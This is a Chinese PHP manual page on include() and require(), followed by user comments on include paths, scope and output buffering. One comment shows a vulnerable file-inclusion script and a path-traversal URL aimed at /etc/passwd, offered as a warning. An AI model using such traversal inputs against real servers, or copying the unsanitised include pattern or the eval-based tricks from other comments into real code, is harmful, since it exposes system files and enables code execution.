控制结构
在线手册:中文 英文
PHP手册

include()

include() 语句包含并运行指定文件。

以下文档也适用于 require()。这两种结构除了在如何处理失败之外完全一样。include() 产生一个警告require() 则导致一个致命错误。换句话说,如果想在遇到丢失文件时停止处理页面就用 require()include() 就不是这样,脚本会继续运行。同时也要确认设置了合适的 include_path。注意在 PHP 4.3.5 之前,包含文件中的语法错误不会导致程序停止,但从此版本之后会。

Files for including are first looked for in each include_path entry relative to the current working directory, and then in the directory of current script. E.g. if your include_path is libraries, current working directory is /www/, you included include/a.php and there is include "b.php" in that file, b.php is first looked in /www/libraries/ and then in /www/include/. If filename begins with ./ or ../, it is looked only in the current working directory. ++++ 寻找包含文件的顺序先是在当前工作目录的相对的 include_path 下寻找,然后是当前运行脚本所在目录相对的 include_path 下寻找。例如 include_path 是 .,当前工作目录是 /www/,脚本中要 include 一个 include/a.php 并且在该文件中有一句 include "b.php",则寻找 b.php 的顺序先是 /www/,然后是 /www/include/。如果文件名以 ./ 或者 ../ 开始,则只在当前工作目录相对的 include_path 下寻找。

当一个文件被包含时,其中所包含的代码继承了 include 所在行的变量范围。从该处开始,调用文件在该行处可用的任何变量在被调用的文件中也都可用。不过所有在包含文件中定义的函数和类都具有全局作用域。

Example #1 基本的 include() 例子

vars.php
<?php

$color 
'green';
$fruit 'apple';

?>

test.php
<?php

echo "A $color $fruit"// A

include 'vars.php';

echo 
"A $color $fruit"// A green apple

?>

如果 include 出现于调用文件中的一个函数里,则被调用的文件中所包含的所有代码将表现得如同它们是在该函数内部定义的一样。所以它将遵循该函数的变量范围。 An exception to this rule are magic constants which are evaluated by the parser before the include occurs.

Example #2 函数中的包含

<?php

function foo()
{
    global 
$color;

    include 
'vars.php';

    echo 
"A $color $fruit";
}

/* vars.php is in the scope of foo() so     *
 * $fruit is NOT available outside of this  *
 * scope.  $color is because we declared it *
 * as global.                               */

foo();                    // A green apple
echo "A $color $fruit";   // A green

?>

当一个文件被包含时,语法解析器在目标文件的开头脱离 PHP 模式并进入 HTML 模式,到文件结尾处恢复。由于此原因,目标文件中应被当作 PHP 代码执行的任何代码都必须被包括在有效的 PHP 起始和结束标记之中。

如果“URL fopen wrappers”在 PHP 中被激活(默认配置),可以用 URL(通过 HTTP 或者其它支持的封装协议——所支持的协议见Supported Protocols and Wrappers)而不是本地文件来指定要被包含的文件。如果目标服务器将目标文件作为 PHP 代码解释,则可以用适用于 HTTP GET 的 URL 请求字符串来向被包括的文件传递变量。严格的说这和包含一个文件并继承父文件的变量空间并不是一回事;该脚本文件实际上已经在远程服务器上运行了,而本地脚本则包括了其结果。

Warning

Windows 版本的 PHP 在 4.3.0 版之前不支持通过此函数访问远程文件,即使已经启用 allow_url_fopen.

Example #3 通过 HTTP 进行的 include()

<?php

/* This example assumes that www.example.com is configured to parse .php *
 * files and not .txt files. Also, 'Works' here means that the variables *
 * $foo and $bar are available within the included file.                 */

// Won't work; file.txt wasn't handled by www.example.com as PHP
include 'http://www.example.com/file.txt?foo=1&bar=2';

// Won't work; looks for a file named 'file.php?foo=1&bar=2' on the
// local filesystem.
include 'file.php?foo=1&bar=2';

// Works.
include 'http://www.example.com/file.php?foo=1&bar=2';

$foo 1;
$bar 2;
include 
'file.txt';  // Works.
include 'file.php';  // Works.

?>

Warning

安全警告

远程文件可能会经远程服务器处理(根据文件后缀以及远程服务器是否在运行 PHP 而定),但必须产生出一个合法的 PHP 脚本,因为其将被本地服务器处理。如果来自远程服务器的文件应该在远端运行而只输出结果,那用 readfile() 函数更好。另外还要格外小心以确保远程的脚本产生出合法并且是所需的代码。

相关信息参见使用远程文件fopen()file()

处理返回值:可以在被包括的文件中使用 return() 语句来终止该文件中程序的执行并返回调用它的脚本。同样也可以从被包含的文件中返回值。可以像普通函数一样获得 include 调用的返回值。不过这在包含远程文件时却不行,除非远程文件的输出具有合法的 PHP 开始和结束标记(如同任何本地文件一样)。可以在标记内定义所需的变量,该变量在文件被包含的位置之后就可用了。

因为 include() 是一个特殊的语言结构,其参数不需要括号。在比较其返回值时要注意。

Example #4 比较 include 的返回值

<?php
// won't work, evaluated as include(('vars.php') == 'OK'), i.e. include('')
if (include('vars.php') == 'OK') {
    echo 
'OK';
}

// works
if ((include 'vars.php') == 'OK') {
    echo 
'OK';
}
?>

Example #5 include()return() 语句

return.php
<?php

$var 
'PHP';

return 
$var;

?>

noreturn.php
<?php

$var 
'PHP';

?>

testreturns.php
<?php

$foo 
= include 'return.php';

echo 
$foo// prints 'PHP'

$bar = include 'noreturn.php';

echo 
$bar// prints 1

?>

$bar 的值为 1 是因为 include 成功运行了。注意以上例子中的区别。第一个在被包含的文件中用了 return() 而另一个没有。如果文件不能被包含,则返回 FALSE 并发出一个 E_WARNING 警告。

如果在包含文件中定义有函数,这些函数可以独立于是否在 return() 之前还是之后在主文件中使用。如果文件被包含两次,PHP 5 发出致命错误因为函数已经被定义,但是 PHP 在 return() 之后不会抱怨函数已定义。推荐使用 include_once() 而不是检查文件是否已包含并在包含文件中有条件返回。

另一个将 PHP 文件“包含”到一个变量中的方法是用输出控制函数结合 include() 来捕获其输出,例如:

Example #6 使用输出缓冲来将 PHP 文件包含入一个字符串

<?php
$string 
get_include_contents('somefile.php');

function 
get_include_contents($filename) {
    if (
is_file($filename)) {
        
ob_start();
        include 
$filename;
        
$contents ob_get_contents();
        
ob_end_clean();
        return 
$contents;
    }
    return 
false;
}

?>

要在脚本中自动包含文件,参见 php.ini 中的 auto_prepend_fileauto_append_file 配置选项。

Note: 因为是一个语言构造器而不是一个函数,不能被 可变函数 调用。

参见 require()require_once()include_once()get_included_files()readfile()virtual()include_path


控制结构
在线手册:中文 英文
PHP手册
PHP手册 - N: include

用户评论:

kkreiven at gmail dot com (23-Mar-2012 04:59)

ob_start();
include 'passwords.php';
ob_end_clean();

This is a GOLDEN RULE!!

Anon (27-Feb-2012 02:31)

I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.

bimal at sanjaal dot com (15-Jun-2011 09:22)

When two different files located in separate directories try to INCLUDE/REQUIRE the relative file names, this may help you correctly FIND the included files.

The code is a snapshot only. Your environment might change.

<?php
$now_at_dir
= getcwd();
chdir(realpath(dirname(__FILE__).'/../../../somewhere/'));

# Out of the general area
require_once('a_differnet_path/browse_wine.php');

chdir($now_at_dir);
?>

The basic trick is in saving the current directory, changing to the required directory, including the file, and then return back to the original directory.

contact at muluweb dot net (30-Mar-2011 05:20)

I haven't found that information anywhere else, but here is what I've found on many servers and it has always been the case so far.
==> include uses HTTP/1.0, not HTTP/1.1

It could be one criterion on a whole to help you recognizing where the request comes from.

Have fun

Bob Jones (20-Mar-2011 12:22)

include() when used to load configuration information has a scary security flaw, if someone corrupts the PHP header in the included file it will happily print the config file to every page which includes it as plain text.

Luckily there is a quick and easy workout for this behaviour (which is alluded to in this article): 
<?php
ob_start
();//Hook output buffer
include("config.php");
ob_end_clean();//Clear output buffer
?>

This will stop the included file from being printed as plain text but also stops you using echo or other print commands from within the included file. It is only appropriate when loading configuration information.

I'd recommend doing this whenever you pick up database usernames and passwords from a *.php. It only takes a single wrong character to show everyone in the world that information.

sPlayer (02-Mar-2011 05:09)

Sometimes it will be usefull to include a string as a filename

<?php

//get content
$cFile = file_get_contents('crypted.file');
//decrypt the content
$content = decrypte($cFile);

//include this
include("data://text/plain;base64,".base64_encode($content));
//or
include("data://text/plain,".urlencode($content));
?>

phatum at mail dot ru (27-Oct-2010 11:23)

I found a good solution how to include a text that is defined as a string and contains php-code that must be executed.
All defined local vars are exported out to the global scope after execution.

<?php
  
function include_text($text) {
      
// executing script
       
eval ("?>$text");
       
// exporting global vars
       
$GLOBALS += get_defined_vars();
   }

  
include_text ('<? $a = 2;  $b = $a + 2; ?>');
   echo
"a = $a<br>";
   echo
"b = $b";
?>

Output:
a = 2
b = 4

joe dot naylor at gmail dot com (22-Oct-2010 10:11)

Be very careful with including files based on user inputed data.  For instance, consider this code sample:

index.php:
<?php
$page
= $_GET['page'];
if (
file_exists('pages/'.$page.'.php'))
{
   include(
'pages/'.$page.'.php');
}
?>

Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html

file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.

Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.

You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it.  Better yet, know exactly what options you can accept and accept only those options.

emanueledelgrande ad email dot it (09-Jul-2010 10:23)

About the problem to include a script in the global scope, after many tests with different solutions, I reached my point. I post it in the hope it may be useful.

At first I built my "globalScopeSimulator" class, but an include called inside a class is not the best solution: if it contains some user code, the user will access to the $this reserved variable and even to all the private members... Critical issue!

That's why I turned back into a function solution.

Another advantage is that I didn't have to make use of the deprecable "global" keyword, since I *imported* the global scope inside the function, with the extract() function.
Using the EXTR_REFS flag this trick does not waste memory, since the extracted variables are not a copy, but a reference to the global ones.

<?php
function global_include($script_path) {
   
// check if the file to include exists:
   
if (isset($script_path) && is_file($script_path)) {
       
// extract variables from the global scope:
       
extract($GLOBALS, EXTR_REFS);
       
ob_start();
        include(
$script_path);
        return
ob_get_clean();
    } else {
       
ob_clean();
       
trigger_error('The script to parse in the global scope was not found');
    }
}
?>

Hope it helps... :)
Cheers and happy coding!

creator at mindcreations dot com (24-May-2010 10:28)

If you can't change your include path or you have to leave some php libraries where they are, you can just do a chdir($localdir) before the include or require statement to make sure that the local dir now is $localdir.

This is the typical case if you have to include some other app classes and you do not want to move the app files around.

This is just a workaround for those who can't benefit from all other solutions proposed.

tim at atwoodglass dot com (15-Apr-2010 03:18)

It appears to be a common problem for an include file to know the directory level distance from the logical root of a site to the script including the file (what I will call the "includer"). This is required if the include file needs to refer to other files such as images or nested includes and is included from within files at different directory levels.  The relative file depth (../ or ../../ etc.) needs to be known.

The solutions offered above break with anything which makes the true server root different from the logical root for the site. This includes use of Apache alias directories, directory links or simply the common practice of using a sub-folder under the www directory for testing but not production.

The only solution I have found so far is to create an include file at a known directory level which gets included at the beginning of every page in the site. This is common with headers such as a header.inc.php file. At the start of this include file have the following code:

<?php
    session_start
(); /* if not already done */
    /* replace value below with appropriate header to root distance of this include file */
   
$header_to_root_distance = 1;
   
$header_dir = dirname(__FILE__);
   
$root_distance = substr_count($header_dir, DIRECTORY_SEPARATOR) - $header_to_root_distance;
   
$includer_distance = substr_count(dirname($_SERVER['SCRIPT_FILENAME']), "/");
   
$relative_path = str_repeat('../', $includer_distance - $root_distance);
   
$_SESSION['relative_path'] = $relative_path;
?>

The session variable "relative_path" will now always contain the correct relative path back the site logical root and may be concatenated with file references so they will work no matter which directory level the main includer file resides at within the site.

this dot person at joaocunha dot eti dot br (23-Dec-2009 01:20)

AVOID ZERO BYTE ORDER MARK!

I was having problems with include/require (once or not). I created an include-opening.php which had the initial structure of the page, and then included this page in all other pages. The result was looking "crashed", so I did compare including or just pasting the html code into the page. The hardcoded version displayed ok, even with the source code being exactly the same.

So I opened the include file with notepad++ and set the encoding to UTF-8 (no BOM) and voila, everything is working great now.

randallgirard at hotmail dot com (14-Dec-2009 08:23)

Heres a nifty little include function I whipped up utilizing extract and compact to post variables to and return from an include file (great for configurations, ex: DB connection info, or whatever else you can imagine). I'm using namespaces and keeping my function/class names simple, so you can rename the function to whatever you'd like.

<?php
# include function allowing variables to be posted to and returned from the target script
   
function inc( $__path, $__return='.', array $__post=array() ) {
   
# post var's to the local scope
       
if ( count( $__post ) )
           
extract($__post, EXTR_SKIP);
   
# include the file and store the result
       
if ( $__result = include $__path ) {
       
# return requested variables from the included file
           
if ( is_array($__return) )
               
$result = compact($__return);
       
# Return ALL variables defined from within the included file
        # NOTE: $__post keys are NOT included!
           
else if ( $__return == '.' )
               
$result = compact( array_diff( array_keys(get_defined_vars()),
                    array(
'GLOBALS', '__path', '__return', '__post', '__result')
                    +
array_keys($__post) ) );
       
# Is $__return a variable from the file?
           
else if ( $__return && isset($$__return) )
               
$result = array( $__return => $$__return );
            else
               
$result = array();
       
# unshift the include result into $result
           
array_unshift($result, $__result);
            return
$result;
        }
        return array(
$__result);
    }
?>

daevid at daevid dot com (21-Nov-2009 12:54)

Well now, I am confused because these pages all show them as functions:
Include(), require(), require_once(), include_once()

Yet ALL of the examples show the PEAR way:
http://pear.php.net/manual/en/standards.including.php

"Note: include_once and require_once are statements, not functions. Parentheses should not surround the subject filename."

    include_once "a.php";

To change all require_once('foo.php'); to require_once 'foo.php' execute this:

cd /var/www/

find . -name '*.php' -print | xargs egrep -l \
'require_once\s*(\(.*\));'\ | xargs sed -i.sedorig -e \
's/require_once\s*(\(.*\));/require_once \1;/'

(thanks to Robert Hajime Lanning for that)

Then to remove all the ".php.sedorig" backup files execute this:

find . -name "*.php.sedorig" -type f -exec rm -rf {} \;

Chris Bell (13-Nov-2009 01:12)

A word of warning about lazy HTTP includes - they can break your server.

If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.

Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.

Anonymous (11-Nov-2009 07:35)

I was having problems when HTTP headers were being sent before I was ready.  I discovered that this happened only when I was including a file at the top of my script.  Since my included file only contained PHP with no whitespace outside the tags, this behavior seemed incorrect.

The editor I was using was saving the files in UTF8 format, sometimes including the redundant Byte Order Mark at the beginning of the file.  Any Unicode-aware editor would implicitly hide the presence of the BOM from the user, making it hard to notice the problem.  However, by using a hex editor I was able to see and remove the three bytes, restoring normal behavior.

Moral:  Prevent your editor from adding an invisible Unicode Byte Order Mark to the beginning of your source code!

hyponiq at gmail dot com (02-Nov-2009 10:12)

I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.

Consider the following:
<?php
include '/Path/To/File.php';
?>

In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash.  This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.

However, Unix file/folder structuring is a little different.  The / represents the root of the hard drive or current hard drive partition.  In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs).  Thusly, an error/warning would be thrown because the path doesn't exist in the root path.

I just thought I'd mention that.  It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.

A work around would be something like:
<?php
$documentRoot
= null;

if (isset(
$_SERVER['DOCUMENT_ROOT'])) {
   
$documentRoot = $_SERVER['DOCUMENT_ROOT'];
   
    if (
strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
        if (
strstr($documentRoot, '/')) {
           
$documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
        }
        elseif (
strstr($documentRoot, '\\')) {
           
$documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
        }
    }
   
    if (
preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
       
$documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
       
$documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
    }
}
else {
   
/**
     * I usually store this file in the Includes folder at the root of my
     * virtual host. This can be changed to wherever you store this file.
     *
     * Example:
     * If you store this file in the Application/Settings/DocRoot folder at the
     * base of your site, you would change this array to include each of those
     * folders.
     *
     * <code>
     * $directories = array(
     *     'Application',
     *     'Settings',
     *     'DocRoot'
     * );
     * </code>
     */
   
$directories = array(
       
'Includes'
   
);
   
    if (
defined('__DIR__')) {
       
$currentDirectory = __DIR__;
    }
    else {
       
$currentDirectory = dirname(__FILE__);
    }
   
   
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
   
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;
   
    foreach (
$directories as $directory) {
       
$currentDirectory = str_replace(
           
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
           
DIRECTORY_SEPARATOR,
           
$currentDirectory
       
);
    }
   
   
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}

define('SERVER_DOC_ROOT', $documentRoot);
?>

Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.

Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>

fkaufusi at gmail dot com (06-Oct-2009 02:43)

here's another way to include your files.

<?php
function includeFile($file_name){

  
$dir = array('./', 'lib/', 'db/', 'student/');    //<-- put here your website directory you want to include
  
$level = array('', '/', '../', '../../');    //<-- you can add more deep level in this array
  
$ini_path = array();
  
   foreach(
$dir as $p){
  
      foreach(
$level as $l){
        
$file = $l.$p.$file_name;      
         if(
file_exists($file)){
            include_once(
$file);
            return;
         }      
      }  
   }
}
//end function includeFile
  
includeFile('html.php');
includeFile('libpage.php');

?>

rjw201 at cam dot ac dot uk (04-Sep-2009 05:59)

A even better security solution is to do the following:

$path = basename($page, 'php') . '.php';

if(file_exists($path)) include $path;

This will mean it will only load files with the ".php" extension in the current directory.

Eg $page = 'myfile.php' => 'myfile.php'
$page = '/etc/passwd' => 'passwd.php' => not found
$page = 'myfile.jpg' => 'myfile.jpg.php' => not found

Simple.

Richard

Anonymous (26-Apr-2009 10:59)

Alot of people here in this section in the 用户评论 suggest using

<?php
@include('file.php');
?>

to suppress warnings. This is not a good idea as it will also turn off error reporting in the included file. If you want to turn off warnings should the include fail use one of the following.

<?php
$theme
= "themefoldername";
//turn off warnings
error_reporting(E_ALL & ~E_WARNING);
if(!include(
'themes/'.$theme.'/index.php'))
{
 
// file was missing so include default theme
 
require('themes/default_theme/index.php');
}
// Turn on warnings
error_reporting(E_ALL);
?>

Or maybe this works better

<?php
if(file_exsists('themes/'.$theme.'/index.php'))
   include(
'themes/'.$theme.'/index.php');
else
   require(
'themes/default_theme/index.php');
?>

You decide.

johan (10-Dec-2008 01:47)

If you wish to abstract away include calls inside functions, or programmatically juggle files to include using functions, just remember:

1. Declare any variables as global if you want those variables "included" in the global scope (ie. if they are used outside the file).

2. Functions are naturally global, so files that only contain functions (libs, sets of api's what have you) can be included anywhere.

eg.

<?php
function nav($i){
  include
"nav$i.php";
}

nav(1);

// same as...
include "nav1.php";
// ...as long as variables are global
?>

So don't feel you can only include/require at the beginning of files, or outside/before functions. You can totally program any sophisticated include behavior.

snowyurik at gmail dot com (06-Nov-2008 06:49)

This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.

Wade. (23-Oct-2008 04:20)

If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)

Wade.

AntonioCS at gmail dot com (26-Sep-2008 06:39)

Include and Require will call the __autoload function if the file that is being called extends some other class

Example Code:
File teste.php
<?php
class teste extends motherclass {
    public function
__construct() {
       
parent::__construct();   
    }      
}
?>

File example.php

<?php
require("teste.php");

if (
class_exists("motherclass"))
echo
"It exists";

?>

You will be given the output:

It exists

I think the __autoload function should be called when I instantiate the teste class not when I include/require the file.

example at user dot com (22-Sep-2008 05:33)

Just about any file type can be 'included' or 'required'.  By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.

You can also embed text in the output, like in the example below.  But an image is still an image to the client's machine.  The client must open the downloaded file as plain/text to see what you embedded.

<?php

header
('Content-type: image/jpeg');
header('Content-Disposition: inline;');

include
'/some_image.jpg';
echo
'This file was provided by example@user.com.';

?>

Which brings us to a major security issue.  Scripts can be hidden within images or files using this method.  For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.

'Including' any file made this way will execute those scripts.  NEVER 'include' anything that you found on the web or that users upload or can alter in any way.  Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"

thedanevans at gmail dot com (21-Sep-2008 07:02)

Linking to CSS/JavaScript resources through an included file has bugged me for a long time because if I have a directory structure like:
/www
    index.php
    /sub_dir
        index.php
    /includes
        header.php
    /style
        main.css

where both index.php files include header.php and the header.php file includes something like:

<link rel="stylesheet" type="text/css" href="style/main.css">

This will be included for /index.php but not for /sub_dir/index.php. I read through a few different ways to use relative includes but those are generally meant for the php include function not the HTML <link>. I didn't really love the idea of a new function that I would pass both the filename and a '../' string into which it could use in the href. I also didn't want to just use /style/main.css because in development it is not hosted in my root directory. Although I could change my configuration or my include_path I really just wanted to find a way for PHP to figure out the relative path for me. I finally found a solution that met my needs and here it is:

<?php
    $include_dist
= substr_count(dirname(__FILE__), DIRECTORY_SEPARATOR);
   
$calling_dist = substr_count(dirname($_SERVER['SCRIPT_FILENAME']), DIRECTORY_SEPARATOR);
?>
<link rel="stylesheet" type="text/css" href="<?=str_repeat('../', $calling_dist - $include_dist + 1)?>style/main.css">

In this case I added one to the difference to account for the fact that the include is one directory away from the base. This also means that str_repeat won't be passed a negative value, which would cause an error. dirname(__FILE__) gets the directory of the file being included while dirname($_SERVER['SCRIPT_FILENAME']) gets the directory of the file including it. The script simply finds the difference in how far off the base directory the two are and prints the appropriate number of '../' before the URL.

NOTE: dirname(__FILE__) can be replaced by __DIR__ in PHP greater than or equal to 5.3.0

rich dot lovely at klikzltd dot co dot uk (17-Jul-2008 09:20)

I needed a way of include()ing a php page from a MySQL database.  It took some work, but
eventually I came up with this:

<?php
function include_text($text){
    while(
substr_count($text, '<?php') > 0){             //loop while there's code in $text
       
list($html, $text) = explode('<?php', $text, 2); //split at first open php tag
       
echo $html;                                      //echo text before tag
       
list($code, $text) = explode('?>', $text, 2);    //split at closing tag
       
eval($code);                                     //exec code (between tags)
   
}
    echo
$text;                                          //echo whatever is left
}
?>

It doesn't work exactly the same as include(), as newlines after the '?>' tag are echoed, rather
than being discarded, but that's an exercise left to the reader to fix if they so desire, and
also globals defined within the included text are not available outside the function.

Not sure whether it would work with something like:

<?php if($x){ ?>
<p>Some HTML Output</p>
...
...
<?php }
else{
?>
<p>Other HTML Output</p>
...
...
<?php } ?>

I rarely use that, but it's easy to re-write code to avoid it using HereDoc syntax, so the example above becomes:

<?php if($x){ echo <<<EOT
<p>Some HTML Output</p>
...
...
EOT;
}
else{ echo <<<
EOT
<p>Other HTML Output</p>
...
...
EOT;
}
?>

Which would work with include_text()

It also won't work as-is with either asp-style or short tags.

huuanito (25-Jun-2008 06:34)

When using includes with allow_url_include on in your ini beware that, when accessing sessions from included files, if from a script you include one file using an absolute file reference and then include a second file from on your local server using a url file reference that

they have different variable scope

and the same session will not be seen from both included files. The original session won't be seen from the url included file.

So:

main script:
<?php
session_start
();
$_SESSION['count'] = 234;

echo
"sid from script1".session_id();
include
"/var/www/htdocs/file1";
include
"http://yoursite/file2";
?>

file1
<?php
echo " **sid from file1: ".session_id();
echo
" count from file1= ".$_SESSION['count'];
?>
echoes both a session id and the count

but file2
<?php
echo " **sid from file2: ".session_id();
echo
" count from file2= ".$_SESSION['count'];
?>
echoes just the text, no session id and no count.

g4wx3 (25-Jun-2008 02:52)

Don't forget about the DIRECTORY_SEPARATOR constant.
No tricks needed to identify the OS;
just use it:

<?php include($folder.DIRECTORY_SEPARATOR.$file); ?>
*hint make a function

ricardo dot ferro at gmail dot com (14-May-2008 07:14)

Two functions to help:

<?php

function add_include_path ($path)
{
    foreach (
func_get_args() AS $path)
    {
        if (!
file_exists($path) OR (file_exists($path) && filetype($path) !== 'dir'))
        {
           
trigger_error("Include path '{$path}' not exists", E_USER_WARNING);
            continue;
        }
       
       
$paths = explode(PATH_SEPARATOR, get_include_path());
       
        if (
array_search($path, $paths) === false)
           
array_push($paths, $path);
       
       
set_include_path(implode(PATH_SEPARATOR, $paths));
    }
}

function
remove_include_path ($path)
{
    foreach (
func_get_args() AS $path)
    {
       
$paths = explode(PATH_SEPARATOR, get_include_path());
       
        if ((
$k = array_search($path, $paths)) !== false)
            unset(
$paths[$k]);
        else
            continue;
       
        if (!
count($paths))
        {
           
trigger_error("Include path '{$path}' can not be removed because it is the only", E_USER_NOTICE);
            continue;
        }
       
       
set_include_path(implode(PATH_SEPARATOR, $paths));
    }
}

?>

fernandoleal at drakecall dot com (12-May-2008 06:55)

Like the manual says the includes gets all function and variable on global scope that
Includes errors so watch out if you disable display errors with @ because it also hides the included file errors, its kind of dumb :$ hehe but sometime you miss it when you want to prevent displaying errors.
This also applies to include_once, require and require_once.
Example
“index.php”
<?php 
#Shows the error ‘Parse error: syntax error, unexpected T_VARIABLE in’
include(test.php);
#Doesn’t show the error
@include(test.php);
?>
“test.php”
<?php
$parse_error
?>

Rick Garcia (08-May-2008 05:38)

As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:

----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----

and so on. This way, the files in your framework will only have to issue statements such as this:

<?php
require_once(LIB_DIR . 'excel_functions.php');
?>

This also frees you from having to check the include path each time you do an include.

If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:

--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--

This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.

uramihsayibok, gmail, com (25-Feb-2008 01:28)

I have a need to include a lot of files, all of which are contained in one directory. Support for things like <?php include_once 'dir/*.php'; ?> would be nice, but it doesn't exist.

Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?php

function include_all_once ($pattern) {
    foreach (
glob($pattern) as $file) { // remember the { and } are necessary!
       
include $file;
    }
}

// used like
include_all_once('dir/*.php');

?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.

slush puppie (24-Oct-2007 07:40)

two little methods i wrote up that work on our IIS6 server. the first makes an alternate include call you can use to include things by calling them via their root location. the second method alters the include path so all include() calls are via the root location.

these are a compilation of a few methods i found here, but i think i made them a bit more modular. anyhow...

<?php
   
## MAKES A NEW FUNCTION CALLED rinclude() THAT INCLUDES
    ## A FILE RELATIVE TO THE ROOT DIRECTORY
    ## LEAVE include() UNTOUCHED SO IT CAN STILL BE USED AS NORMAL
   
function rinclude($path){
       
$levels = substr_count($_SERVER['PHP_SELF'],'/');
       
$root = '';
        for(
$i = 1; $i < $levels; $i++){$root .= '../';}
        include(
$root . $path);
    }
   
   
rinclude('file.inc.php'); // in root
   
rinclude('dir/file.inc.php'); // in a subfolder
?>
<hr />
<?php
   
## SET INCLUDE TO ROOT DIRECTORY SO ALL include()
    ## CALLS WILL BE RELATIVE TO ROOT
   
function setinclude(){
       
$levels = substr_count($_SERVER['PHP_SELF'],'/');
       
$root = '';
        for(
$i = 1; $i < $levels; $i++){$root .= '../';}   
       
set_include_path($root);
    }   
   
   
setinclude();   
    include(
'file.inc.php'); // in root
   
include('dir/file.inc.phpp'); // in a subfolder
?>

sbwoodside at yahoo dot com (07-Oct-2007 10:19)

Here's a really simple solution to a common problem. Let's say you want to include files the way that apache does, relative to the document root (the root dir of your app). Independent of what server you are on, so that you don't have to specify an absolute path on your filesystem. At the top of your page put:

<?php set_include_path( get_include_path() . PATH_SEPARATOR . $_SERVER['DOCUMENT_ROOT'] ); ?>

Now anywhere you do an include you can do something like:

<?php include ( "Templates/header.inc") ?>

So, if your server files are in /var/www/mysite, this will include /var/www/mysite/Templates/header.inc when it's on your server. And if on your dev machine it's in /user/myname/mysite, it will include /user/myname/mysite/Templates/header.inc when it's on your dev machine.

twolfley at gmail dot com (30-Aug-2007 06:37)

With a large system you might have lots of functions. I have noticed that this can produce large memory overhead, some of which can be alleviated by using includes in the following manner:

e.g.
<?php
function foo() {
 
//some long block of code here producing $bar
 
return $bar;
}
?>

can be rewritten as:
<?php
function foo() {
  return include
"foo.php";
}
?>

where foo.php contains the following:
<?php
//long block of code producing $bar
return $bar;
?>

The result is the function's body does not get loaded into memory until the function is actually called.

alex carstea (26-Jul-2007 04:07)

Since include() caused me many problems when i was trying to test my code, I wrote a small function. It receives as parameter the path to the file to include relative to the current file. The format similar to :
       "../../path/FileName.php"
The function returns the absolute path to the file to be included. This path can be used as argument to include() and resolves the problem of nested inclusions.
<?php
function getFilePath($relativePath){
    
$absPath=dirname($_SERVER['SCRIPT_FILENAME']);
    
    
$relativeArray=explode("/",$relativePath);
    
$absArray=explode("/",$absPath);
    
$upTokens=0;
    
//count the number of ".." tokens that precede the path
    
while(( $upTokens<count($relativeArray)) and ($relativeArray[$upTokens]=="..")) {
        
$upTokens++;
     }
    
// create the absolute path    
    
$filePath=$absArray[0];
     for (
$i=1; $i< (count($absArray)-$upTokens);$i++) {
        
$filePath.="/".$absArray[$i];
     }
    
     for (
$i=$upTokens; $i< count($relativeArray);$i++){
        
$filePath.="/".$relativeArray[$i];
     }
     return
$filePath;
 }
?>
  Hope you will find it usefull....

  Alex

Cory Gagliardi (25-Jul-2007 07:22)

Easy way to set $_GET values for local includes.

This is an easy way to make up fake URLs for SEO purposes that are really just running other PHP pages with special $_GET values.

This will NOT work:
<?PHP
include('communities.php?show=gated&where=naples');
?>

However, this will:
<?PHP
$_GET
= array();
$_GET['show'] = 'gated';
$_GET['where'] = 'naples';
include(
'communities.php');
?>

Putting this on your page and nothing else will give the same result as going to
'communities.php?show=gated&where=naples'
but the URL can be whatever you want it to be.

